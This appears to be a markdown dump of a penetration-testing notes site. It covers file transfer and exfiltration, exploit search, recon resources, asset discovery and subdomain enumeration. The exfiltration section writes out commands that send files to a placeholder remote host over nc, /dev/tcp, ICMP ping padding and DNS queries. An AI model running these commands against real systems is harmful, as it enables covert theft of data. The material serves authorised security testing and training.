}} 68 | 69 | #### curl 70 | ```sh 71 | curl {{< param "war.rhost" >}}/{{< param "war.tfile" >}} -o {{< param "war.tfile" >}} 72 | ``` 73 | {{
}} 74 | - `-o `: Write to `` instead of stdout. 75 | {{
}} 76 | 77 | #### scp 78 | ```sh 79 | scp user@{{< param "war.rhost" >}}:/{{< param "war.tfile" >}} . 80 | ``` 81 | 82 | #### nc 83 | 84 | ```sh 85 | # Receiver 86 | nc -nvlp {{< param "war.lport" >}} > {{< param "war.tfile" >}} 87 | # Sender 88 | nc -nv {{< param "war.lhost" >}} {{< param "war.lport" >}} < {{< param "war.tfile" >}} 89 | ``` 90 | 91 | {{
}} 92 | - `n`: don't do DNS lookups. 93 | - `v`: prints status messages. 94 | - `l`: listen. 95 | - `p `: local port used for listening. 96 | {{
}} 97 | 98 | #### `/dev/tcp` [^devref] 99 | ```sh 100 | # Receiver 101 | nc -nvlp {{< param "war.lport" >}} > {{< param "war.tfile" >}} 102 | # Sender 103 | cat {{< param "war.tfile" >}} > /dev/tcp/{{< param "war.lhost" >}}/{{< param "war.lport" >}} 104 | ``` 105 | 106 | ```sh 107 | # Sender 108 | nc -w5 -nvlp {{< param "war.lport" >}} < {{< param "war.tfile" >}} 109 | # Receiver 110 | exec 6< /dev/tcp/{{< param "war.lhost" >}}/{{< param "war.lport" >}} 111 | cat <&6 > {{< param "war.tfile" >}} 112 | ``` 113 | 114 | ## Web Servers 115 | 116 | ### Python 117 | 118 | ```sh 119 | python -m SimpleHTTPServer {{< param "war.lport" >}} 120 | python3 -m http.server {{< param "war.lport" >}} 121 | ``` 122 | 123 | [Simple HTTP Server with File Upload](https://gist.github.com/touilleMan/eb02ea40b93e52604938) 124 | 125 | ### Ruby 126 | 127 | ```sh 128 | ruby -run -e httpd . -p{{< param "war.lport" >}} 129 | ``` 130 | 131 | ```sh 132 | ruby -r webrick -e 'WEBrick::HTTPServer.new(:Port => {{< param "war.lport" >}}, :DocumentRoot => Dir.pwd).start' 133 | ``` 134 | 135 | ### Perl 136 | 137 | ```sh 138 | perl -MHTTP::Daemon -e '$d = HTTP::Daemon->new(LocalPort => {{< param "war.lport" >}}) or +die $!; while($c = $d->accept){while($r = $c->get_request){+$c->send_file_response(".".$r->url->path)}}' 139 | ``` 140 | 141 | {{}} 142 | Install `HTTP:Daemon` if not present with: `sudo cpan HTTP::Daemon` 143 | {{}} 144 | 145 | ### PHP 146 | 147 | ```sh 148 | php -S 127.0.0.1:{{< param "war.lport" >}} 149 | ``` 150 | 151 | ### NodeJS 152 | 153 | [http-server](https://www.npmjs.com/package/http-server) 154 | 155 | ```sh 156 | npm install -g http-server 157 | http-server -p {{< param "war.lport" >}} 158 | ``` 159 | 160 | [node-static](https://www.npmjs.com/package/node-static) 161 | 162 | ```sh 163 | npm install -g node-static 164 | static -p {{< param "war.lport" >}} 165 | ``` 166 | 167 | ## FTP Servers 168 | 169 | ### Python 170 | 171 | ```sh 172 | pip install pyftpdlib 173 | python3 -m pyftpdlib -p {{< param "war.lport" >}} 174 | ``` 175 | 176 | ### NodeJS 177 | 178 | ```sh 179 | npm install -g ftp-srv 180 | ftp-srv ftp://0.0.0.0:{{< param "war.lport" >}} --root ./ 181 | ``` 182 | 183 | ## Tunneling 184 | 185 | ### ICMP 186 | 187 | Capture ICMP packets 188 | with the following script: 189 | 190 | {{}} 191 | 192 | Generate ICMP packets from the file hexdump. 193 | 194 | ```sh 195 | xxd -p -c 8 {{< param "war.tfile" >}} | while read h; do ping -c 1 -p $h {{< param "war.rhost" >}}; done 196 | ``` 197 | 198 | {{
}} 199 | 200 | `xxd`: 201 | - `-p`: Output in postscript continuous hexdump style. Also known as plain hexdump style. 202 | - `-c `: Format `` octets per line. 203 | 204 | `ping`: 205 | - `-c `: Stop after sending `` `ECHO_REQUEST` packets. 206 | - `-p`: You may specify up to 16 "pad" bytes to fill out the packet you send. 207 | {{
}} 208 | 209 | {{}} 210 | Match `xxd` columns (`-c 8`) with the data sliced (`packet[ICMP].load[-8:]`) in the script. 211 | {{}} 212 | 213 | ### DNS 214 | 215 | Capture DNS packets data. 216 | 217 | ```sh 218 | sudo tcpdump -n -i {{< param "war.liface" >}} -w dns_exfil.pcap udp and src {{< param "war.rhost" >}} and port 53 219 | ``` 220 | 221 | {{}} 222 | Remember to point the DNS resolution to where packages are being captured. 223 | {{}} 224 | 225 | Generate DNS queries. 226 | 227 | ```sh 228 | xxd -p -c 16 {{< param "war.tfile" >}} | while read h; do ping -c 1 ${h}.domain.com; done 229 | ``` 230 | 231 | Extract exfiltrated data. 232 | 233 | ```sh 234 | tcpdump -r dns-exfil.pcap 2>/dev/null | sed -e 's/.*\ \([A-Za-z0-9+/]*\).domain.com.*/\1/' | uniq | paste -sd "" - | xxd -r -p 235 | ``` 236 | 237 | #### PacketWhisper [^packetwhisper] 238 | 239 | Capture packages with `tcpdump`, 240 | as described above. 241 | Cloak, exfiltrate and decloak from the cli. 242 | 243 | ```sh 244 | sudo packetWhisper.py 245 | ``` 246 | 247 | ## Further Reading 248 | 249 | - [Python HTTPS Simple Server](https://www.maxrodrigo.com/notes/python-https-simple-server.html) 250 | 251 | [^mitre-exfiltration]: “Exfiltration, Tactic TA0010 - Enterprise.” MITRE ATT&CK®, https://attack.mitre.org/tactics/TA0010/. 252 | [^cloakify]: TryCatchHCF. “TryCatchHCF/Cloakify: CloakifyFactory.” GitHub, https://github.com/TryCatchHCF/Cloakify. 253 | [^devref]: “/Dev.” The Linux Documentation Project, https://tldp.org/LDP/abs/html/devref1.html. 254 | [^packetwhisper]: TryCatchHCF. “PacketWhisper.” GitHub, https://github.com/TryCatchHCF/PacketWhisper. 255 | -------------------------------------------------------------------------------- /content/exploits-search.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Exploit Search 3 | weight: 200 4 | --- 5 | 6 | # Exploit Search 7 | 8 | ## Offline 9 | 10 | ### searchsploit [^searchsploit] 11 | 12 | {{}} 13 | Periodically update the database with `searchsploit -u`. 14 | {{}} 15 | 16 | Search vulnerabilities based on a Nmap's XML result. 17 | ```sh 18 | searchsploit --nmap nmap.xml 19 | ``` 20 | 21 | Basic search and copy the exploit the current directory. 22 | For more examples, see the [manual](https://www.exploit-db.com/searchsploit). 23 | ```sh 24 | searchsploit afd windows local 25 | searchsploit -m 39446 26 | ``` 27 | 28 | {{
}} 29 | - `-u`: Check for and install any exploitdb package updates. 30 | - `-m`: Copies an exploit to the current working directory. 31 | - `--nmap `: Checks all results in Nmap's XML output with service version. 32 | {{
}} 33 | 34 | ### MSFConsole [^msfconsole] 35 | 36 | For more options, see the [manual](https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/#search). 37 | ```sh 38 | msf> search cve:2011 port:135 platform:windows target:XP 39 | ``` 40 | 41 | {{
}} 42 | - `app`: Modules that are client or server attacks 43 | - `author`: Modules written by this author 44 | - `bid`: Modules with a matching Bugtraq ID 45 | - `cve`: Modules with a matching CVE ID 46 | - `edb`: Modules with a matching Exploit-DB ID 47 | - `name`: Modules with a matching descriptive name 48 | - `platform`: Modules affecting this platform 49 | - `ref`: Modules with a matching ref 50 | - `type`: Modules of a specific type (exploit, auxiliary, or post) 51 | {{
}} 52 | 53 | ## Online 54 | 55 | 1. [Google](https://www.google.com): ` exploit` 56 | 1. [Exploit Database](https://www.exploit-db.com/) 57 | 1. [Rapid7 Vulnerability & Exploit Database ](https://www.rapid7.com/db/) 58 | 1. [Vulners Database](https://vulners.com/search?query=order:published) 59 | 1. [Sploitus](https://sploitus.com/) 60 | 1. [Shodan Exploits](https://exploits.shodan.io/welcome) 61 | 1. [PacketStorm](https://packetstormsecurity.com/) 62 | 63 | [^searchsploit]: “Exploit Database SearchSploit Manual.” Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers, https://www.exploit-db.com/searchsploit. 64 | [^msfconsole]: “Msfconsole - Metasploit Unleashed.” Infosec Training and Penetration Testing | Offensive Security, https://www.offensive-security.com/metasploit-unleashed/msfconsole/. 65 | -------------------------------------------------------------------------------- /content/further-reading.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Further Reading 3 | weight: 800 4 | --- 5 | 6 | # Further Reading 7 | 8 | ## Books 9 | 10 | - [The Hacker Playbook Series](https://securepla.net/hacker-playbook/) 11 | - [Hacking- The Art of Exploitation](https://nostarch.com/hacking2.htm) 12 | 13 | 14 | ## Online Pentesting Platforms 15 | 16 | - https://www.hackthebox.eu/ - Hack The Box 17 | - https://www.vulnhub.com/ - VulnHub 18 | - https://www.hackthissite.org/ - HackThisSite 19 | - https://tryhackme.com/ - TryHackMe 20 | - https://cryptohack.org/ - CryptoHack 21 | - https://pentesterlab.com/ - PentesterLab 22 | - https://portswigger.net/web-security - PortSwigger Web Security Academy 23 | - https://ctflearn.com/ - CTFlearn 24 | - https://picoctf.com/ - picoCTF 25 | - https://pwn.college/ - pwn.college 26 | - https://pwnable.tw/ - pwnable.tw 27 | - https://247ctf.com/ - 247/CTF 28 | - https://ctf101.org/ - CTF 101 29 | - https://ctftime.org/ - CTFtime 30 | - https://microcorruption.com/ - Embedded Security CTF 31 | 32 | ## Vulnerable Apps 33 | 34 | - https://github.com/digininja/DVWA - Damn Vulnerable Web Application 35 | - https://github.com/snoopysecurity/dvws - Damn Vulnerable Web Services 36 | - https://github.com/vavkamil/dvwp - Damn Vulnerable WordPress 37 | - https://github.com/stamparm/DSVW - Damn Small Vulnerable Web 38 | - https://sourceforge.net/projects/bwapp/files/bWAPP/ - Buggy Web Application 39 | - https://owasp.org/www-project-juice-shop/ - OWASP JuiceShop 40 | - https://github.com/webpwnized/mutillidae - OWASP Mutillidae II 41 | - https://github.com/WebGoat/WebGoat - WebGoat 42 | - https://github.com/RhinoSecurityLabs/cloudgoat - CloudGoat 43 | - https://github.com/madhuakula/kubernetes-goat - Kubernetes Goat 44 | - https://github.com/owasp/nodegoat - NodeGoat 45 | - https://github.com/OWASP/railsgoat - RailsGoat 46 | 47 | ## Bug Bounty Platforms 48 | 49 | - https://www.yeswehack.com/ - YesWeHack 50 | - https://www.intigriti.com - Intigriti 51 | - https://bugcrowd.com/ - Bugcrowd 52 | - https://www.hackerone.com/ - HackerOne 53 | - https://cobalt.io/ - Cobalt 54 | - https://www.bountysource.com/ - BountySource 55 | - https://hackenproof.com/ - HackenProof 56 | - https://cs.detectify.com/ - Detectify 57 | - https://bugbounty.jp/ - BugBounty.jp 58 | - https://safehats.com/ - SafeHats 59 | - https://hacktrophy.com/ - HackTrophy 60 | - https://www.cesppa.com/ - Cesppa 61 | - https://www.antihack.me/ - AntiHack 62 | 63 | ## Bug Bounty Programs 64 | 65 | - https://bounty.github.com/ - Github 66 | - https://www.google.com/about/appsecurity/reward-program/ - Google 67 | - http://hp.com/go/printersthatprotect - HP 68 | - https://www.intel.com/content/www/us/en/security-center/default.html - Intel 69 | - https://www.facebook.com/whitehat - Facebook 70 | - https://www.microsoft.com/en-us/msrc/bounty?rtc=1 - Microsoft 71 | - https://www.mozilla.org/en-US/security/bug-bounty/ - Mozilla 72 | - http://zerodium.com/program.html - Zerodium 73 | 74 | ## YouTube Channels 75 | 76 | - [Adrian Crenshaw](https://www.youtube.com/user/irongeek) 77 | - [Ben Eater](https://www.youtube.com/BenEater/) 78 | - [IppSec](https://www.youtube.com/ippsec) 79 | - [MalwareAnalysisForHedgehogs](https://www.youtube.com/MalwareAnalysisForHedgehogs) 80 | - [Open Security Training](https://www.youtube.com/OpenSecurityTraining) 81 | - [Red Team Village](https://www.youtube.com/RedTeamVillage/) 82 | - [Researcher Tips and Tricks from JackkTutorials](https://www.youtube.com/playlist?list=PLIK9nm3mu-S4SuIUZ6LKh98QGT4fz59Sj) 83 | -------------------------------------------------------------------------------- /content/information-gathering/_index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Information Gathering" 3 | weight: 50 4 | bookCollapseSection: true 5 | --- 6 | -------------------------------------------------------------------------------- /content/information-gathering/assets-discovery.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: Assets Discovery 3 | title: Assets Discovery 4 | description: The reconnaissance, or information gathering, stage plays a major role during a penetration test or a bug bounty hunting. Assets Discovery helps you identify new targets within the scope. These new seeds, or domains, will broader the attack surface and provide a better understanding of the target and its infrastructure. 5 | --- 6 | 7 | # Assets Discovery 8 | 9 | ## At a Glance 10 | 11 | Assets Discovery helps you identify new targets within the scope. These new seeds, or domains, will broader the attack surface and provide a better understanding of the target and its infrastructure. 12 | 13 | ## Acquisitions 14 | 15 | Looking for acquisitions may expand the available assets **if they are in scope**. 16 | 17 | - [Crunchbase](https://www.crunchbase.com/) 18 | - [Google](https://www.google.com) 19 | - [Wikipedia](https://www.wikipedia.com) 20 | 21 | {{}} 22 | Look for newer acquisitions and verify it they are still valid 23 | {{}} 24 | 25 | ## ASN Enumeration 26 | 27 | An Autonomous System Number (ASN) is a unique number 28 | assigned to an Autonomous System (AS). 29 | An Autonomous System is a set of routers, 30 | or IP ranges, 31 | under a single technical administration. 32 | 33 | ASNs are assigned in blocks by Internet Assigned Numbers Authority (IANA) 34 | to regional Internet registries (RIRs). 35 | The appropriate RIR then 36 | assigns ASNs to entities within its designated area 37 | from the block assigned by IANA. 38 | [^rfc-1930] 39 | 40 | {{}} 41 | These ASN’s will help us picture 42 | the entity’s IT infrastructure. 43 | {{}} 44 | 45 | ### Online Tools 46 | 47 | The most reliable way to get these 48 | is manually through [Hurricane Electric’s](https://www.he.net/) BGP Toolkit: 49 | 50 | - http://bgp.he.net 51 | 52 | Or thought the regional registries services: 53 | 54 | - Africa: [AFRINIC - Regional Internet Registry for Africa](https://www.afrinic.net/) 55 | - Asia: [APNIC - Regional Internet Registry for Asia Pacific](https://www.apnic.net/) 56 | - Europe: [RIPE](https://www.ripe.net/) 57 | - Latin America: [LACNIC - Internet Addresses Registry for Latin America and the Caribbean](https://www.lacnic.net/) 58 | - North America: [ARIN - American Registry for Internet Numbers](https://www.arin.net/about/welcome/region/) 59 | 60 | {{}} 61 | Because of the advent of cloud infrastructure, 62 | ASNs may not provide a complete picture of a network. 63 | Assets could also exist on cloud environments like 64 | [AWS](https://aws.amazon.com/), [GCP](https://cloud.google.com/), and [Azure](https://azure.microsoft.com/en-us/). 65 | {{}} 66 | 67 | ### Automated Tools 68 | 69 | #### [OWASP Amass](https://owasp-amass.com/) Intel 70 | 71 | Amass `intel` module 72 | collects open-source intelligence for the target organization. 73 | It allows you to find root domain names 74 | associated with it. 75 | 76 | ```sh 77 | amass intel -org 78 | ``` 79 | 80 | ```sh 81 | amass intel -asn 82 | ``` 83 | {{
}} 84 | - `intel`: Discover targets for enumeration. 85 | - `-org `: Search `` provided against AS description information. 86 | - `-asn `: IP and ranges separated by commas. 87 | {{
}} 88 | 89 | ## Reverse WHOIS 90 | 91 | A WHOIS domain lookup allows you to 92 | trace the ownership of a domain name 93 | plus additional information such as 94 | expiration date, organization name, emails, addresses, phone numbers. 95 | 96 | Reverse WHOIS leverage these registries 97 | and allow us to perform lookups based on 98 | that additional information.[^rfc-1834] 99 | 100 | ### Online Tools 101 | 102 | - [Whoxy Whois API](https://www.whoxy.com/) 103 | - [Reverse Whois Lookup ](https://www.reversewhois.io/) 104 | - [DomainEye Reverse Whois](https://domaineye.com/reverse-whois/) 105 | - [domainIQ - Comprehensive domain name intelligence.](https://www.domainiq.com/) 106 | 107 | ### Automated Tools 108 | 109 | #### [DomLink](https://github.com/vysecurity/DomLink) 110 | 111 | Domlink provides a helpful recursive search. 112 | 113 | ```sh 114 | python domlink.py -A -C -o target.out.txt 115 | ``` 116 | 117 | #### [Whoxy API](https://www.whoxy.com/reverse-whois/) 118 | 119 | ```sh 120 | curl --no-progress-meter "https://api.whoxy.com/?key=&reverse=whois&name=" | jq 121 | ``` 122 | 123 | ## Tracking Codes 124 | 125 | Many companies share tracking codes 126 | across different products. 127 | Search for popular services IDs 128 | like Google Analytics or Google Adsense. 129 | 130 | ### Online Tools 131 | 132 | - [BuiltWith Relationship Profile](https://builtwith.com/) 133 | - [Source Code Search Engine](https://publicwww.com/) 134 | - [SpyOnWeb](https://spyonweb.com/) 135 | 136 | ## Google Dorking 137 | 138 | Search for 139 | any company-wide 140 | distinctive text like: 141 | 142 | - Copyright text 143 | - Terms of service text 144 | - Privacy Policy text 145 | 146 | ```txt 147 | "© 2006-2020 Company, Corp." -site:*.domain.com inurl:company 148 | ``` 149 | 150 | {{}} 151 | Other search engines, 152 | like [Bing](https://www.bing.com) and [DuckDuckGo](http://www.duckduckgo.com), 153 | offer similar advanced search operators: 154 | - [Bing Advanced Search Keywords](https://help.bing.microsoft.com/#apex/bing/en-us/10001/-1) 155 | - [DuckDuckGo Search Syntax](https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/) 156 | - [Google Advanced Search Operators](https://docs.google.com/document/d/1ydVaJJeL1EYbWtlfj9TPfBTE5IBADkQfZrQaBZxqXGs/edit) 157 | {{}} 158 | 159 | ## Shodan 160 | 161 | Shodan is a search engine 162 | for Internet-connected devices. 163 | Try filter by 164 | organization: `org:` 165 | or hostname: `hostname: `. 166 | 167 | {{}} 168 | Shodan usually offers a $5 lifetime membership during Black Friday. 169 | {{}} 170 | 171 | [^rfc-1930]: “RFC 1930 - Guidelines for Creation, Selection, and Registration of an Autonomous System (AS).” IETF Tools, https://tools.ietf.org/html/rfc1930#section-3. 172 | [^rfc-1834]: “RFC 1834 - Whois and Network Information Lookup Service, Whois++.” IETF Tools, https://tools.ietf.org/html/rfc1834. 173 | -------------------------------------------------------------------------------- /content/information-gathering/subdomain-enumeration.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "Subdomain Enumeration" 3 | title: "Subdomain Enumeration: The Ultimate Guide" 4 | description: "The ultimate subdomain enumeration guide for bugbounty and security assestments." 5 | --- 6 | 7 | # Subdomain Enumeration 8 | 9 | ## At a Glance 10 | 11 | Sub-domain enumeration is 12 | the process of finding sub-domains 13 | for one or more domains. 14 | It helps to broader the attack surface, 15 | find hidden applications, 16 | and forgotten subdomains. 17 | 18 | {{}} 19 | Vulnerabilities tend to be present 20 | across multiple domains and applications 21 | of the same organization. 22 | {{}} 23 | 24 | #### Passive Enumeration 25 | 26 | - [Certificate Transparency](#certificate-transparency) 27 | - [Google Dorking](#google-dorking) 28 | - [DNS Aggregators](#dns-aggregators) 29 | - [ASN Enumeration](#asn-enumeration) 30 | - [Subject Alternate Name (SAN)](#subject-alternate-name-san) 31 | - [Rapid7 Forward DNS dataset](#rapid7-forward-dns-dataset) 32 | 33 | #### Active Enumeration 34 | 35 | - [Brute Force Enumeration](#brute-force-enumeration) 36 | - [Zone Transfer](#zone-transfer) 37 | - [DNS Records](#dns-records) 38 | - [Content Security Policy (CSP) Header](#content-security-policy-csp-header) 39 | 40 | ## Tools 41 | 42 | #### Amass [^amass] 43 | ```sh 44 | amass enum -passive -d {{< param "war.rdomain" >}} -o results.txt 45 | ``` 46 | {{
}} 47 | - `--passive`: Disable DNS resolution names and dependent features. 48 | - `-d`: Domain names separated by commas. 49 | - `-o`: Path to the text file containing terminal `stdout`/`stderr`. 50 | {{
}} 51 | 52 | #### sublist3r [^sublist3r] 53 | ```sh 54 | sublist3r -d {{< param "war.rdomain" >}} 55 | ``` 56 | ## Certificate Transparency 57 | 58 | Certificate Transparency (CT) is an Internet security standard 59 | and open-source framework 60 | for monitoring and auditing digital certificates. 61 | It creates a system of public logs 62 | to record all certificates issued by publicly trusted CAs, 63 | allowing efficient identification of mistakenly 64 | or maliciously issued certificates.[^certificate-transparency] 65 | 66 | Some CT Logs search engines: 67 | 68 | - https://crt.sh/ 69 | - https://censys.io/ 70 | - https://developers.facebook.com/tools/ct/ 71 | - https://google.com/transparencyreport/https/ct/ 72 | 73 | #### massdns [^massdns] 74 | ```sh 75 | ./scripts/ct.py {{< param "war.rdomain" >}} | ./bin/massdns -r ./lists/resolvers.txt -o S -w results.txt 76 | ``` 77 | {{
}} 78 | - `-r`: Text file containing DNS resolvers. 79 | - `-o`: Flags for output formatting. 80 | - `-w`: Write to the specified output file. 81 | {{
}} 82 | 83 | #### `crt.sh` PostgreSQL Interface 84 | 85 | ```sh 86 | #!/bin/sh 87 | 88 | query="SELECT ci.NAME_VALUE NAME_VALUE FROM certificate_identity ci WHERE ci.NAME_TYPE = 'dNSName' AND reverse(lower(ci.NAME_VALUE)) LIKE reverse(lower('%.$1'));" 89 | 90 | (echo $1; echo $query | \ 91 | psql -t -h crt.sh -p 5432 -U guest certwatch | \ 92 | sed -e 's:^ *::g' -e 's:^*\.::g' -e '/^$/d' | \ 93 | sed -e 's:*.::g';) | sort -u 94 | ``` 95 | 96 | ## Google Dorking 97 | 98 | Use the `site:` operator to filter 99 | results for the given domain. 100 | Generally, 101 | "`*`" matches any token, 102 | meaning, 103 | an entire term without spaces. 104 | 105 | ```text 106 | site:*.{{< param "war.rdomain" >}} 107 | ``` 108 | 109 | {{}} 110 | Other search engines, 111 | like [Bing](https://www.bing.com) and [DuckDuckGo](http://www.duckduckgo.com), 112 | offer similar advanced search operators: 113 | - [Bing Advanced Search Keywords](https://help.bing.microsoft.com/#apex/bing/en-us/10001/-1) 114 | - [DuckDuckGo Search Syntax](https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/) 115 | - [Google Advanced Search Operators](https://docs.google.com/document/d/1ydVaJJeL1EYbWtlfj9TPfBTE5IBADkQfZrQaBZxqXGs/edit) 116 | {{}} 117 | 118 | ## DNS Aggregators 119 | 120 | - [VirusTotal Passive DNS replication](https://www.virustotal.com/)[^vt-passive-dns] 121 | - [DNSDumpster](https://dnsdumpster.com/) 122 | - [Netcraft - Search DNS](https://searchdns.netcraft.com/) 123 | 124 | ## ASN Enumeration 125 | 126 | Refer to [ASN Enumeration]({{< ref "assets-discovery#asn-enumeration" >}}) 127 | 128 | ## Subject Alternate Name (SAN) 129 | 130 | Subject Alternative Name (SAN) is an extension to X.509 131 | that allows additional values 132 | to be associated 133 | with an SSL certificate. 134 | These values, or Names, include 135 | email addresses, URIs, DNS names, 136 | directory names, 137 | and more. 138 | [^openssl-san] 139 | 140 | #### OpenSSL [^openssl] 141 | ```sh 142 | true | openssl s_client -connect {{< param "war.rdomain" >}}:443 2>/dev/null | openssl x509 -noout -text | perl -l -0777 -ne '@names=/\bDNS:([^\s,]+)/g; print join("\n", sort @names);' 143 | ``` 144 | {{
}} 145 | - `s_client`: SSL/TLS client program. 146 | - `x509`: output a [x590 structure](https://en.wikipedia.org/wiki/X.509) instead of a certificate request. 147 | - `-noout`: Inhibits the output of the encoded version of the parameters. 148 | - `-text`: Prints out the EC parameters in human readable form. 149 | {{
}} 150 | 151 | 152 | ## Rapid7 Forward DNS dataset 153 | 154 | The dataset contains 155 | the responses to DNS requests 156 | for all forward DNS names 157 | known by [Rapid7's Project Sonar](https://www.rapid7.com/research/project-sonar/). 158 | 159 | [Download Rapid7 Forward DNS datasets](https://opendata.rapid7.com/sonar.fdns_v2/). 160 | 161 | 162 | ## Brute Force Enumeration 163 | 164 | Useful Wordlists: 165 | 166 | - Jhaddix's [all.txt](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) 167 | - Daniel Miessler's [DNS Discovery](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS). 168 | - [Commonspeak2](https://github.com/assetnote/commonspeak2-wordlists) 169 | 170 | #### Amass [^amass] 171 | ```sh 172 | amass enum -brute -w subdomains.txt -d {{< param "war.rdomain" >}} -o results.txt 173 | ``` 174 | {{
}} 175 | - `-brute`: Execute brute forcing after searches. 176 | - `-w`: Path to wordlist file. 177 | - `-d`: Domain names separated by commas. 178 | - `-o`: Path to the text file containing terminal `stdout`/`stderr`. 179 | {{
}} 180 | 181 | #### massdns [^massdns] 182 | ```sh 183 | ./scripts/subbrute.py subdomains.txt {{< param "war.rdomain" >}} | ./bin/massdns -r ./lists/resolvers.txt -o S -w results.txt 184 | ``` 185 | {{
}} 186 | - `-r`: Text file containing DNS resolvers. 187 | - `-o`: Flags for output formatting. 188 | - `-w`: Write to the specified output file. 189 | {{
}} 190 | 191 | #### gobuster [^gobuster] 192 | ```sh 193 | gobuster dns -t 30 -w subdomains.txt -d {{< param "war.rdomain" >}} 194 | ``` 195 | {{
}} 196 | - `dns`: DNS subdomain bruteforcing mode. 197 | - `-d`: target domain. 198 | - `-t `: number of concurrent threads (default 10). 199 | - `-w `: path to the wordlist. 200 | {{
}} 201 | 202 | ## DNS 203 | 204 | ### Zone Transfer 205 | 206 | DNS zone transfer is one mechanism 207 | to replicate DNS databases across DNS servers. 208 | 209 | {{}} 210 | Data transfer process 211 | begins by the client 212 | sending a AXFR query 213 | to the server. 214 | {{}} 215 | 216 | More under DNS Service Enumeration [Zone Transfers]({{< ref "dns#zone-transfer" >}}) 217 | 218 | #### dnsrecon [^dnsrecon] 219 | ```sh 220 | dnsrecon -a -d tesla.com 221 | ``` 222 | {{
}} 223 | - `-a`: Perform AXFR with standard enumeration. 224 | - `-d`: Domain. 225 | {{
}} 226 | 227 | #### dig 228 | 229 | ```sh 230 | dig axfr @ns1.{{< param "war.rdomain" >}} {{< param "war.rdomain" >}} 231 | ``` 232 | {{
}} 233 | - `axfr`: initiate an *AXFR* zone transfer query. 234 | - `@ns1.{{< param "war.rdomain" >}}`: name or IP of the server to query. 235 | - `{{< param "war.rdomain" >}}`: name of the resource record that is to be looked up. 236 | {{
}} 237 | 238 | 239 | ### CNAME Records 240 | 241 | A Canonical NAME record (CNAME) 242 | is a type of DNS record 243 | that maps one domain name (an alias) 244 | to another (the canonical name). 245 | 246 | CNAMEs may reveal 247 | an organization's sub-domains 248 | and information about running services. 249 | 250 | #### dig 251 | ```sh 252 | dig +short -x `dig +short {{< param "war.rdomain" >}}` 253 | ``` 254 | {{
}} 255 | - `+short`: Provide a terse answer. 256 | - `-x `: Simplified reverse lookups, for mapping addresses to names. 257 | {{
}} 258 | 259 | ### SPF Records 260 | 261 | A Sender Policy Framework record (SPF) 262 | is a type of TXT DNS record 263 | used as an email authentication method. 264 | It specifies the mail servers 265 | authorized to send emails for your domain. 266 | 267 | SPF helps protect domains from spoofing. 268 | 269 | {{}} 270 | Applications may have internal netblocks 271 | listed in their SPF record. 272 | {{}} 273 | 274 | #### dig 275 | ```sh 276 | dig +short TXT {{< param "war.rdomain" >}} 277 | ``` 278 | {{
}} 279 | - `+short`: Provide a terse answer. 280 | {{
}} 281 | 282 | ## HTTP Headers 283 | 284 | ### Content Security Policy (CSP) 285 | 286 | The HTTP `Content-Security-Policy` response header 287 | allows website administrators 288 | to control resources the browser is allowed to load 289 | for a given page. 290 | 291 | {{}} 292 | There are deprecated forms of CSP headers, 293 | they are `X-Content-Security-Policy` and `X-Webkit-CSP` 294 | {{}} 295 | 296 | #### curl 297 | ```sh 298 | curl -I -s -L https://www.maxrodrigo.com | grep -iE 'Content-Security|CSP' 299 | ``` 300 | {{
}} 301 | - `-I`: Fetch the headers only. 302 | - `-s`: Quiet mode. 303 | - `-L`: Follow 3XX redirections. 304 | {{
}} 305 | 306 | ## Further Reading 307 | 308 | - [What is Certificate Transparency](https://www.certificate-transparency.org/what-is-ct) 309 | - [The Art of Subdomain Enumeration](https://appsecco.com/books/subdomain-enumeration/) 310 | - [How AXFR Protocol Works](https://cr.yp.to/djbdns/axfr-notes.html) 311 | - [OSINT Through Sender Policy Framework (SPF) Records](https://blog.rapid7.com/2015/02/23/osint-through-sender-policy-framework-spf-records/) 312 | 313 | [^certificate-transparency]: “What Is Certificate Transparency?” Certificate Transparency, https://www.certificate-transparency.org/what-is-ct. 314 | [^vt-passive-dns]: “VirusTotal += Passive DNS Replication .” VirusTotal Blog, https://blog.virustotal.com/2013/04/virustotal-passive-dns-replication.html. 315 | [^openssl-san]: OpenSSL Foundation, Inc. “X509v3_config.” OpenSSL, https://www.openssl.org/docs/manmaster/man5/x509v3_config.html#Subject-Alternative-Name. 316 | [^openssl]: OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.html. 317 | [^forward-dns]: Rapid7. “Forward DNS · Rapid7/Sonar Wiki.” GitHub, https://github.com/rapid7/sonar/wiki/Forward-DNS. 318 | [^gobuster]: Reeves, OJ. “GitHub - OJ/Gobuster.” GitHub, https://github.com/OJ/gobuster. 319 | [^massdns]: blechschmidt. “GitHub - Blechschmidt/Massdns: A High-Performance DNS Stub Resolver for Bulk Lookups and Reconnaissance.” GitHub, https://github.com/blechschmidt/massdns. 320 | [^dnsrecon]: darkoperator. “GitHub - Darkoperator/Dnsrecon: DNS Enumeration Script.” GitHub, https://github.com/darkoperator/dnsrecon. 321 | [^sublist3r]: aboul3la. “GitHub - Aboul3la/Sublist3r: Fast Subdomains Enumeration Tool for Penetration Testers.” GitHub, https://github.com/aboul3la/Sublist3r. 322 | [^amass]: “GitHub - OWASP/Amass: In-Depth Attack Surface Mapping and Asset Discovery.” GitHub, https://github.com/OWASP/Amass. 323 | -------------------------------------------------------------------------------- /content/notes/_index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Notes 3 | description: Tutorials, articles and other complemenatary information. 4 | weight: 601 5 | bookToc: false 6 | bookCollapseSection: true 7 | --- 8 | 9 | # Notes 10 | -------------------------------------------------------------------------------- /content/notes/how-to-open-jar-files.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: JAR Files 3 | title: JAR File - What It Is & How to Open One 4 | bookToc: false 5 | --- 6 | 7 | # JAR File - What It Is & How to Open One 8 | 9 | A JAR (**J**ava **AR**chive) file is a package file format, based on the ZIP file format, used to aggregate many Java class files, metadata and resources (text, images, etc.) into one file for distribution.[^jar-spec] 10 | 11 | The contents of a JAR file can be extracted using any standard decompression 